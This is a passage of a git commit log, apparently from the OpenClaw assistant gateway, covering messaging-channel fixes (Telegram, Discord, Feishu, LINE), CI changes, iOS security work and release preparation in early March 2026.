3d998828b9 fix: stabilize Telegram draft boundaries and suppress NO_REPLY lead leaks (#33169)
* fix: stabilize telegram draft stream message boundaries

* fix: suppress NO_REPLY lead-fragment leaks

* fix: keep underscore guard for non-NO_REPLY prefixes

* fix: skip assistant-start rotation only after real lane rotation

* fix: preserve finalized state when pre-rotation does not force

* fix: reset finalized preview state on message-start boundary

* fix: document Telegram draft boundary + NO_REPLY reliability updates (#33169) (thanks @obviyus)
2026-03-03 22:49:33 +05:30
Shadow
a7a9a3d3c8 fix: allowlist Discord CDN hostnames for SSRF media (#33275) (thanks @thewilloftheshadow) (#33275) 2026-03-03 11:17:27 -06:00
Mariano
bf7061092a iOS Security Stack 4/5: TTS PCM->MP3 Fallback (#30885) (#33032)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f77e3d7644
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-03 16:33:55 +00:00
Shadow
d493861c16 fix: discord mention handling (#33224) (thanks @thewilloftheshadow) (#33224) 2026-03-03 10:32:22 -06:00
Mariano
a3112d6c5f iOS Security Stack 3/5: Runtime Security Guards (#33031)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9917165401
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-03 16:30:27 +00:00
Mariano
6df57d9633 iOS Security Stack 2/5: Concurrency Locks (#33241)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b99ad804fb
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-03 16:28:27 +00:00
Shadow
3ee8528b17 test(discord): align bound-thread target kind 2026-03-03 10:22:52 -06:00
Shadow
3b3738e41e fix(discord): use fetch for voice upload slots 2026-03-03 10:22:28 -06:00
Shadow
66d06beec6 fix(discord): stop typing after silent runs 2026-03-03 10:22:27 -06:00
Shadow
5d16d45b20 fix(discord): default presence online when unconfigured 2026-03-03 10:22:27 -06:00
Shadow
6593a57607 fix: improve discord chunk delivery (#33226) (thanks @thewilloftheshadow) (#33226) 2026-03-03 10:17:33 -06:00
Mariano
ec0eb9f8c3 iOS Security Stack 1/5: Keychain Migrations + Tests (#33029)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: da2f8f6141
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-03-03 16:15:20 +00:00
Jason L. West, Sr.
606cd0d591 feat(tool-truncation): use head+tail strategy to preserve errors during truncation (#20076)
Merged via squash.

Prepared head SHA: 6edebf22b1
Co-authored-by: jlwestsr <52389+jlwestsr@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-03 08:11:14 -08:00
Mylszd
d89e1e40f9 docs(loop-detection): fix config keys to match schema (#33182)
Merged via squash.

Prepared head SHA: 612ecc00d3
Co-authored-by: Mylszd <23611557+Mylszd@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 11:02:30 -05:00
Shadow
ca307c3fdf fix: harden Discord channel resolution (#33142) (thanks @thewilloftheshadow) (#33142) 2026-03-03 09:31:26 -06:00
Shadow
4abf398a17 fix: Discord acp inline actions + bound-thread filter (#33136) (thanks @thewilloftheshadow) (#33136) 2026-03-03 09:30:21 -06:00
Shadow
8e2e4b2ed5 fix: ignore discord wildcard audit keys (#33125) (thanks @thewilloftheshadow) (#33125) 2026-03-03 09:28:30 -06:00
Rodrigo Uroz
c8b45a4c5c Compaction/Safeguard: preserve recent turns verbatim (#25554)
Merged via squash.

Prepared head SHA: 7fb33c411c
Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-03 07:00:49 -08:00
Shadow
171f305c3d chore: note about pagination 2026-03-03 08:35:29 -06:00
chengzhichao-xydt
53727c72f4 fix: substitute YYYY-MM-DD at session startup and post-compaction (#32363) (#32381)
Merged via squash.

Prepared head SHA: aee998a2c1
Co-authored-by: chengzhichao-xydt <264300353+chengzhichao-xydt@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-03 06:21:26 -08:00
OpenCils
3fe4c19305 fix(telegram): prevent duplicate messages in DM draft streaming mode (#32118)
* fix(telegram): prevent duplicate messages in DM draft streaming mode

When using sendMessageDraft for DM streaming (streaming: 'partial'),
the draft bubble auto-converts to the final message. The code was
incorrectly falling through to sendPayload() after the draft was
finalized, causing a duplicate message.

This fix checks if we're in draft preview mode with hasStreamedMessage
and skips the sendPayload call, returning "preview-finalized" directly.

Key changes:
- Use hasStreamedMessage flag instead of previewRevision comparison
- Avoids double stopDraftLane calls by returning early
- Prevents duplicate messages when final text equals last streamed text

Root cause: In lane-delivery.ts, the final message handling logic
did not properly handle the DM draft flow where sendMessageDraft
creates a transient bubble that doesn't need a separate final send.

* fix(telegram): harden DM draft finalization path

* fix(telegram): require emitted draft preview for unchanged finals

* fix(telegram): require final draft text emission before finalize

* fix: update changelog for telegram draft finalization (#32118) (thanks @OpenCils)

---------

Co-authored-by: Ayaan Zaidi <zaidi@uplause.io>
2026-03-03 17:34:46 +05:30
Altay
627813aba4 fix(heartbeat): scope exec wake dispatch to session key (#32724)
Merged via squash.

Prepared head SHA: 563fee0e65
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-03 14:47:40 +03:00
Ayaan Zaidi
1ded5cc9a9 fix: guard malformed Telegram replies and pass hook accountId 2026-03-03 17:01:04 +05:30
Ayaan Zaidi
5f95f46070 docs: update changelog for telegram message_sent fix (#32649) 2026-03-03 16:56:20 +05:30
Ayaan Zaidi
5b8fc68ea2 fix(telegram): include reply hook metadata 2026-03-03 16:56:20 +05:30
KimGLee
9830b7c298 fix(telegram): mark message_sent success only when delivery occurred 2026-03-03 16:56:20 +05:30
KimGLee
6d118ab815 fix(telegram): run outbound message hooks in reply delivery path 2026-03-03 16:56:20 +05:30
Nimrod Gutman
4aa548cf7d macOS: add tailscale serve discovery fallback for remote gateways (#32860)
* feat(macos): add tailscale serve gateway discovery fallback

* fix: add changelog note for tailscale serve discovery fallback (#32860) (thanks @ngutman)
2026-03-03 13:25:36 +02:00
Sid
4ffe15c6b2 fix(telegram): warn when accounts.default is missing in multi-account setup (#32544)
Merged via squash.

Prepared head SHA: 7ebc3f65b2
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 03:27:19 -05:00
Gustavo Madeira Santana
2370ea5d1b agents: propagate config for embedded skill loading 2026-03-03 02:44:56 -05:00
Liu Xiaopai
ae29842158 Gateway: fix stale self version in status output (#32655)
Merged via squash.

Prepared head SHA: b9675d1f90
Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 02:41:52 -05:00
Muhammed Mukhthar CM
b1b41eb443 feat(mattermost): add native slash command support (refresh) (#32467)
Merged via squash.

Prepared head SHA: 989126574e
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-03 12:39:18 +05:30
Eugene
5341b5c71c Diffs: Migrate tool usage guidance from before_prompt_build to a plugin skill (#32630)
Merged via squash.

Prepared head SHA: 585697a4e1
Co-authored-by: sircrumpet <4436535+sircrumpet@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 01:50:59 -05:00
Henry Loenwind
997197c6c9 bug: Workaround for QMD upstream bug (#27028)
Merged via squash.

Prepared head SHA: 939f9f4574
Co-authored-by: HenryLoenwind <1485873+HenryLoenwind@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 01:48:43 -05:00
JT
de9031da22 fix: improve compaction summary instructions to preserve active work (#8903)
fix: improve compaction summary instructions to preserve active work

Expand staged-summary merge instructions to preserve active task status, batch progress, latest user request, and follow-up commitments so compaction handoffs retain in-flight work context.

Co-authored-by: joetomasone <56984887+joetomasone@users.noreply.github.com>
Co-authored-by: Josh Lehman <josh@martian.engineering>
2026-03-02 22:36:19 -08:00
Henry Loenwind
75775f2fe6 chore: Updated Brave documentation (#26860)
Merged via squash.

Prepared head SHA: f8fc4bf01e
Co-authored-by: HenryLoenwind <1485873+HenryLoenwind@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-03 01:34:15 -05:00
Tak Hoffman
dbccc73d7a security(line): synthesize strict LINE auth boundary hardening
LINE auth boundary hardening synthesis for inbound webhook authn/z/authz:
- account-scoped pairing-store access
- strict DM/group allowlist boundary separation
- fail-closed webhook auth/runtime behavior
- replay and duplicate handling with in-flight continuity for concurrent redeliveries

Source PRs: #26701, #26683, #25978, #17593, #16619, #31990, #26047, #30584, #18777
Related continuity context: #21955

Co-authored-by: bmendonca3 <208517100+bmendonca3@users.noreply.github.com>
Co-authored-by: davidahmann <46606159+davidahmann@users.noreply.github.com>
Co-authored-by: harshang03 <58983401+harshang03@users.noreply.github.com>
Co-authored-by: haosenwang1018 <167664334+haosenwang1018@users.noreply.github.com>
Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: coygeek <65363919+coygeek@users.noreply.github.com>
Co-authored-by: lailoo <20536249+lailoo@users.noreply.github.com>
2026-03-03 00:21:15 -06:00
Peter Steinberger
fe92113472 test(e2e): isolate module mocks across harnesses 2026-03-03 05:52:14 +00:00
Peter Steinberger
1d7a287cf6 fix(telegram): debounce forwarded media-only bursts 2026-03-03 05:52:14 +00:00
Peter Steinberger
094140bdb1 test(live): harden gateway model profile probes 2026-03-03 05:52:14 +00:00
Peter Steinberger
b52c9f2575 fix(ci): handle disabled systemd units in docker doctor flow 2026-03-03 05:52:14 +00:00
Peter Steinberger
de62ccbf81 fix(test): stabilize appcast version assertion 2026-03-03 05:51:50 +00:00
Tak Hoffman
9a5bfb1fe5 fix(line): synthesize media/auth/routing webhook regressions (openclaw#32546) thanks @Takhoffman
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 23:47:56 -06:00
Viz
0b3bbfec06 fix(gateway+acp): thread stopReason through final event to ACP bridge (#24867)
Complete the stop reason propagation chain so ACP clients can
distinguish end_turn from max_tokens:

- server-chat.ts: emitChatFinal accepts optional stopReason param,
  includes it in the final payload, reads it from lifecycle event data
- translator.ts: read stopReason from the final payload instead of
  hardcoding end_turn

Chain: LLM API → run.ts (meta.stopReason) → agent.ts (lifecycle event)
→ server-chat.ts (final payload) → ACP translator (PromptResponse)
2026-03-03 00:40:54 -05:00
Peter Steinberger
b34530a05d docs(changelog): reattribute duplicated PR credits 2026-03-03 05:40:05 +00:00
Peter Steinberger
e1503349c3 fix: scope extension runtime deps to plugin manifests 2026-03-03 05:33:12 +00:00
Shadow
2a888c5703 ci: enable stale workflow 2026-03-02 23:21:34 -06:00
Peter Steinberger
786ff6afca chore(release): bump to 2026.3.3 and seed changelog 2026-03-03 05:12:23 +00:00
Peter Steinberger
2d67c9b2a0 fix: repair Feishu reset hook typing and stabilize secret resolver timeout 2026-03-03 05:06:08 +00:00
Viz
a9ec75fe81 fix(gateway): flush throttled delta before emitChatFinal (#24856)
* fix(gateway): flush throttled delta before emitChatFinal

The 150ms throttle in emitChatDelta can suppress the last text chunk
before emitChatFinal fires, causing streaming clients (e.g. ACP) to
receive truncated responses. The final event carries the complete text,
but clients that build responses incrementally from deltas miss the
tail end.

Flush one last unthrottled delta with the complete buffered text
immediately before sending the final event. This ensures all streaming
consumers have the full response without needing to reconcile deltas
against the final payload.

* fix(gateway): avoid duplicate delta flush when buffer unchanged

Track the text length at the time of the last broadcast. The flush in
emitChatFinal now only sends a delta if the buffer has grown since the
last broadcast, preventing duplicate sends when the final delta passed
the 150ms throttle and was already broadcast.

* fix(gateway): honor heartbeat suppression in final delta flush

* test(gateway): add final delta flush and dedupe coverage

* fix(gateway): skip final flush for silent lead fragments

* docs(changelog): note gateway final-delta flush fix credits

---------

Co-authored-by: Jonathan Taylor <visionik@pobox.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-02 23:45:46 -05:00
dongdong
0566845b71 fix(feishu): validate outbound renderMode routing with tests (#31562)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 22:41:01 -06:00
Jealous
9083a3f2e3 fix(feishu): normalize all mentions in inbound agent context (#30252)
* fix(feishu): normalize all mentions in inbound agent context

Convert Feishu mention placeholders to explicit <at user_id="..."> tags (including bot mentions), add mention semantics hints for the model, and remove unused mentionMessageBody parsing to keep context handling consistent.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(feishu): use replacer callback and escape only < > in normalizeMentions

Switch String.replace to a function replacer to prevent $ sequences in
display names from being interpolated as replacement patterns. Narrow
escaping to < and > only — & does not need escaping in LLM prompt tag
bodies and escaping it degrades readability (e.g. R&D → R&amp;D).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(feishu): only use open_id in normalizeMentions tag, drop user_id fallback

When a mention has no open_id, degrade to @name instead of emitting
<at user_id="uid_...">. This keeps the tag user_id space exclusively
open_id, so the bot self-reference hint (which uses botOpenId) is
always consistent with what appears in the tags.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(feishu): register mention strip pattern for <at> tags in channel dock

Add mentions.stripPatterns to feishuPlugin so that normalizeCommandBody
receives a slash-clean string after normalizeMentions replaces Feishu
placeholders with <at user_id="...">name</at> tags. Without this,
group slash commands like @Bot /help had their leading / obscured by
the tag prefix and no longer triggered command handlers.

Pattern mirrors the approach used by Slack (<@[^>]+>) and Discord (<@!?\d+>).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(feishu): strip bot mention in p2p to preserve DM slash commands

In p2p messages the bot mention is a pure addressing prefix; converting
it to <at user_id="..."> breaks slash commands because buildCommandContext
skips stripMentions for DMs. Extend normalizeMentions with a stripKeys
set and populate it with bot mention keys in p2p, so @Bot /help arrives
as /help. Non-bot mentions (mention-forward targets) are still normalized
to <at> tags in both p2p and group contexts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* Changelog: note Feishu inbound mention normalization

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 22:40:17 -06:00
Peter Steinberger
85377a2817 chore(release): cut 2026.3.2 2026-03-03 04:35:46 +00:00
Vincent Koc
d45aa68ae8 CI: disable flaky sticky disk mount for Windows pnpm setup 2026-03-02 20:34:10 -08:00
Vincent Koc
be5de30de5 CI: start push test lanes earlier and drop check gating 2026-03-02 20:29:06 -08:00
挨踢小茶
406e7aba75 fix(feishu): guard against false-positive @mentions in multi-app groups (#30315)
* fix(feishu): guard against false-positive @mentions in multi-app groups

When multiple Feishu bot apps share a group chat, Feishu's WebSocket
event delivery remaps the open_id in mentions[] per-app. This causes
checkBotMentioned() to return true for ALL bots when only one was
actually @mentioned, making requireMention ineffective.

Add a botName guard: if the mention's open_id matches this bot but the
mention's display name differs from this bot's configured botName, treat
it as a false positive and skip.

botName is already available via account.config.botName (set during
onboarding).

Closes #24249

* fix(feishu): support @all mention in multi-bot groups

When a user sends @all (@_all in Feishu message content), treat it as
mentioning every bot so all agents respond when requireMention is true.

Feishu's @all does not populate the mentions[] array, so this needs
explicit content-level detection.

* fix(feishu): auto-fetch bot display name from API for reliable mention matching

Instead of relying on the manually configured botName (which may differ
from the actual Feishu bot display name), fetch the bot's display name
from the Feishu API at startup via probeFeishu().

This ensures checkBotMentioned() always compares against the correct
display name, even when the config botName doesn't match (e.g. config
says 'Wanda' but Feishu shows '绯红女巫').

Changes:
- monitor.ts: fetchBotOpenId → fetchBotInfo (returns both openId and name)
- monitor.ts: store botNames map, pass botName to handleFeishuMessage
- bot.ts: accept botName from params, prefer it over config fallback

* Changelog: note Feishu multi-app mention false-positive guard

---------

Co-authored-by: Teague Xiao <teaguexiao@TeaguedeMac-mini.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 22:27:35 -06:00
Andy Tien
cad06faafe fix: add session-memory hook support for Feishu provider (#31437)
* fix: add session-memory hook support for Feishu provider

Issue #31275: Session-memory hook not triggered when using /new command in Feishu

- Added command handler to Feishu provider
- Integrated with OpenClaw's before_reset hook system
- Ensures session memory is saved when /new or /reset commands are used

* Changelog: note Feishu session-memory hook parity

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 22:19:24 -06:00
Huaqing.Hao
a5a7239182 fix(feishu): non-blocking WS ACK and preserve full streaming card content (#29616)
* fix(feishu): non-blocking ws ack and preserve streaming card full content

* fix(feishu): preserve fragmented streaming text without newline artifacts

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 22:17:15 -06:00
Vincent Koc
a5a6952bf2 CI: reduce critical path for check build and windows jobs 2026-03-02 20:11:28 -08:00
Vincent Koc
d28fa50f8b CI: make node deps install optional in setup action 2026-03-02 20:11:28 -08:00
Vincent Koc
5ef04d2822 CI: speed up Windows dependency warmup 2026-03-02 20:11:12 -08:00
Peter Steinberger
bb5796265b docs(changelog): remove docs-only 2026.3.2 entries 2026-03-03 04:07:40 +00:00
Tian Wei
7c179f9288 feishu, line: pass per-group systemPrompt to inbound context (#31713)
* feishu: pass per-group systemPrompt to inbound context

The Feishu extension schema supports systemPrompt in per-group config
(channels.feishu.accounts.<id>.groups.<groupId>.systemPrompt) but the
value was never forwarded to the inbound context as GroupSystemPrompt.

This means per-group system prompts configured for Feishu had no effect,
unlike IRC, Discord, Slack, Telegram, Matrix, and other channels that
already pass this field correctly.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* line: pass per-group systemPrompt to inbound context

Same issue as feishu: the Line config schema defines systemPrompt in
per-group config but the value was never forwarded as GroupSystemPrompt
in the inbound context payload.

Added resolveLineGroupSystemPrompt helper that mirrors the existing
resolveLineGroupConfig lookup logic (groupId > roomId > wildcard).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* Changelog: note Feishu and LINE group systemPrompt propagation

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 22:07:35 -06:00
Peter Steinberger
d9d604c6ad docs: add dedicated pdf tool docs page 2026-03-03 04:07:04 +00:00
Tak Hoffman
6cdfd2eaaa fix(feishu): correct invalid scope name in permission grant URL (#32509)
* fix(feishu): correct invalid scope name in permission grant URL

The Feishu API returns error code 99991672 with an authorization URL
containing the non-existent scope `contact:contact.base:readonly`
when the `contact.user.get` endpoint is called without the correct
permission. The valid scope is `contact:user.base:readonly`.

Add a scope correction map that replaces known incorrect scope names
in the extracted grant URL before presenting it to the user/agent,
so the authorization link actually works.

Closes #31761

* chore(changelog): note feishu scope correction

---------

Co-authored-by: SidQin-cyber <sidqin0410@gmail.com>
2026-03-02 22:06:42 -06:00
Peter Steinberger
b3b4fd30c3 chore(release): update appcast for 2026.3.2-beta.1 2026-03-03 03:58:35 +00:00
Vincent Koc
a951ecdd7b CI: shard Windows tests into sixths and skip cache restore 2026-03-02 19:54:52 -08:00
Vincent Koc
c6634b4083 CI: add toggle to skip pnpm actions cache restore 2026-03-02 19:54:52 -08:00
Peter Steinberger
524fb16619 fix(gateway): skip google rate limits in live suite 2026-03-03 03:48:09 +00:00
青雲
1fdc20a24f refactor(feishu): unify Lark SDK error handling with LarkApiError (#31450)
* refactor(feishu): unify Lark SDK error handling with LarkApiError

- Add LarkApiError class with code, api, and context fields for better diagnostics
- Add ensureLarkSuccess helper to replace 9 duplicate error check patterns
- Update tool registration layer to return structured error info (code, api, context)

This improves:
- Observability: errors now include API name and request context for easier debugging
- Maintainability: single point of change for error handling logic
- Extensibility: foundation for retry strategies, error classification, etc.

Affected APIs:
- wiki.space.getNode
- bitable.app.get
- bitable.app.create
- bitable.appTableField.list
- bitable.appTableField.create
- bitable.appTableRecord.list
- bitable.appTableRecord.get
- bitable.appTableRecord.create
- bitable.appTableRecord.update

* Changelog: note Feishu bitable error handling unification

---------

Co-authored-by: echoVic <echovic@163.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 21:44:40 -06:00
Vincent Koc
925da0fe99 Delete changelog/fragments directory 2026-03-02 19:43:23 -08:00
Peter Steinberger
99ae722e57 fix(ci): complete feishu route mock typing in broadcast tests 2026-03-03 03:42:30 +00:00
Peter Steinberger
eb8a8840d6 chore(release): prepare 2026.3.2-beta.1 2026-03-03 03:38:49 +00:00
Runkun Miao
7c6f8bfe73 feat(feishu): add broadcast support for multi-agent groups (#29575)
* feat(feishu): add broadcast support for multi-agent group observation

When multiple agents share a Feishu group chat, only the @mentioned
agent receives the message. This prevents observer agents from building
session memory of group activity they weren't directly addressed in.

Adds broadcast support (reusing the same cfg.broadcast schema as
WhatsApp) so all configured agents receive every group message in their
session transcripts. Only the @mentioned agent responds on Feishu;
observer agents process silently via no-op dispatchers.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): guard sequential broadcast dispatch against single-agent failure

Wrap each dispatchForAgent() call in the sequential loop with try/catch
so one agent's dispatch failure doesn't abort delivery to remaining agents.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): avoid duplicate messages in broadcast observer mode and normalize agent IDs

- Skip recordPendingHistoryEntryIfEnabled for broadcast groups when not
  mentioned, since the message is dispatched directly to all agents.
  Previously the message appeared twice in the agent prompt.
- Normalize agent IDs with toLowerCase() before membership checks so
  config casing mismatches don't silently skip valid agents.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): set WasMentioned per-agent and normalize broadcast IDs

- buildCtxPayloadForAgent now takes a wasMentioned parameter so active
  agents get WasMentioned=true and observers get false (P1 fix)
- Normalize broadcastAgents to lowercase at resolution time and
  lowercase activeAgentId so all comparisons and session key generation
  use canonical IDs regardless of config casing (P2 fix)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): canonicalize broadcast agent IDs with normalizeAgentId

* fix(feishu): match ReplyDispatcher sync return types for noop dispatcher

The upstream ReplyDispatcher changed sendToolResult/sendBlockReply/
sendFinalReply to synchronous (returning boolean). Update the broadcast
observer noop dispatcher to match.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): deduplicate broadcast agent IDs after normalization

Config entries like "Main" and "main" collapse to the same canonical ID
after normalizeAgentId but were dispatched multiple times. Use Set to
deduplicate after normalization.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): honor requireMention=false when selecting broadcast responder

When requireMention is false, the routed agent should be active (reply
on Feishu) even without an explicit @mention. Previously activeAgentId
was null whenever ctx.mentionedBot was false, so all agents got the
noop dispatcher and no reply was sent — silently breaking groups that
disabled mention gating.

Hoist requireMention out of the if(isGroup) block so it's accessible
in the dispatch code.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): cross-account broadcast dedup to prevent duplicate dispatches

In multi-account Feishu setups, the same message event is delivered to
every bot account in a group. Without cross-account dedup, each account
independently dispatches broadcast agents, causing 2×N dispatches instead
of N (where N = number of broadcast agents).

Two changes:
1. requireMention=true + bot not mentioned: return early instead of
   falling through to broadcast. The mentioned bot's handler will
   dispatch for all agents. Non-mentioned handlers record to history.
2. Add cross-account broadcast dedup using a shared 'broadcast' namespace
   (tryRecordMessagePersistent). The first handler to reach the broadcast
   block claims the message; subsequent accounts skip. This handles the
   requireMention=false multi-account case.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): strip CommandAuthorized from broadcast observer contexts

Broadcast observer agents inherited CommandAuthorized from the sender,
causing slash commands (e.g. /reset) to silently execute on every observer
session. Now only the active agent retains CommandAuthorized; observers
have it stripped before dispatch.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): use actual mention state for broadcast WasMentioned

The active broadcast agent's WasMentioned was set to true whenever
requireMention=false, even when the bot was not actually @mentioned.
Now uses ctx.mentionedBot && agentId === activeAgentId, consistent
with the single-agent path which passes ctx.mentionedBot directly.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(feishu): skip history buffer for broadcast accounts and log parallel failures

1. In requireMention groups with broadcast, non-mentioned accounts no
   longer buffer pending history — the mentioned handler's broadcast
   dispatch already writes turns into all agent sessions. Buffering
   caused duplicate replay via buildPendingHistoryContextFromMap.

2. Parallel broadcast dispatch now inspects Promise.allSettled results
   and logs rejected entries, matching the sequential path's per-agent
   error logging.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* Changelog: note Feishu multi-agent broadcast dispatch

* Changelog: restore author credit for Feishu broadcast entry

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 21:38:46 -06:00
Peter Steinberger
92c4a2a29e fix(gateway): retry exec-read live tool probe 2026-03-03 03:36:55 +00:00
Peter Steinberger
70ab91500a test(ci): add changed-scope shell-injection regression 2026-03-03 03:34:51 +00:00
Peter Steinberger
f175a5d6d3 fix(ci): avoid shell interpolation in changed-scope git diff 2026-03-03 03:34:46 +00:00
xbsheng
02d26ced98 docs(feishu): Feishu docs – add verificationToken and align zh-CN with EN (openclaw#31555) thanks @xbsheng
Verified:
- pnpm build
- pnpm test:macmini
- pnpm check (blocked locally by pre-existing mainline lint issue in src/scripts/ci-changed-scope.test.ts unrelated to this PR)

Co-authored-by: xbsheng <56357338+xbsheng@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 21:33:41 -06:00
Vincent Koc
99a48aad08 CI: increase checks-windows test shards to 4 2026-03-02 19:32:46 -08:00
Vincent Koc
8b80848ae9 CI: increase checks-windows test shards to 3 2026-03-02 19:31:27 -08:00
Vincent Koc
153a4f55db CI: reduce pre-test Windows setup latency 2026-03-02 19:30:29 -08:00
Vincent Koc
578a7a82be CI: add exact-key mode for pnpm cache restore 2026-03-02 19:30:29 -08:00
Sid
e6f34b25aa fix(feishu): preserve block streaming text when final payload is missing (#30663)
* fix(feishu): preserve block streaming text when final payload is missing

When Feishu card streaming receives block payloads without matching final/partial
callbacks, keep block text in stream state so onIdle close still publishes the
reply instead of an empty message. Add a regression test for block-only streaming.

Closes #30628

* Feishu: preserve streaming block fallback when final text is missing

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 21:26:21 -06:00
Peter Steinberger
17bb87f432 fix(venice): retry model discovery on transient fetch failures 2026-03-03 03:21:00 +00:00
joshavant
85a320de54 docs(changelog): add SecretRef note for #29580 2026-03-02 21:19:17 -06:00
Peter Steinberger
46b62c53f0 fix(ci): restore scope-test require import and sync host policy 2026-03-03 03:18:45 +00:00
Peter Steinberger
ca1b50908f chore(gitignore): ignore android kotlin cache 2026-03-03 03:13:23 +00:00
Vincent Koc
05aa16c040 CI: allow blacksmith 32 vCPU Windows runner in actionlint 2026-03-02 19:13:14 -08:00
Vincent Koc
2c6616b830 CI: gate Windows checks by windows-relevant scope (#32456)
* CI: add windows scope output for changed-scope

* Test: cover windows scope gating in changed-scope

* CI: gate checks-windows by windows scope

* Docs: update CI windows scope and runner label

* CI: move checks-windows to 32 vCPU runner

* Docs: align CI windows runner with workflow
2026-03-02 19:10:58 -08:00
Peter Steinberger
80efcb75c7 style(swift): apply lint and format cleanup 2026-03-03 03:07:55 +00:00
Peter Steinberger
ba50dfaae3 refactor(macos): simplify pairing alert and host helper paths 2026-03-03 03:07:54 +00:00
Peter Steinberger
04a8f97c57 fix(swift): align async helper callsites across iOS and macOS 2026-03-03 03:07:54 +00:00
Peter Steinberger
5cba9a6bab test: load ci changed-scope script via esm import 2026-03-03 03:06:22 +00:00
Peter Steinberger
da6e6fb900 test: fix strict runtime mock types in channel tests 2026-03-03 03:06:22 +00:00
Peter Steinberger
805de8537c fix(telegram): move unchanged command-sync log to verbose 2026-03-03 03:05:39 +00:00
Peter Steinberger
f7f0caa5c7 fix(ci): tighten type signatures in gateway params validation 2026-03-03 03:04:13 +00:00
Peter Steinberger
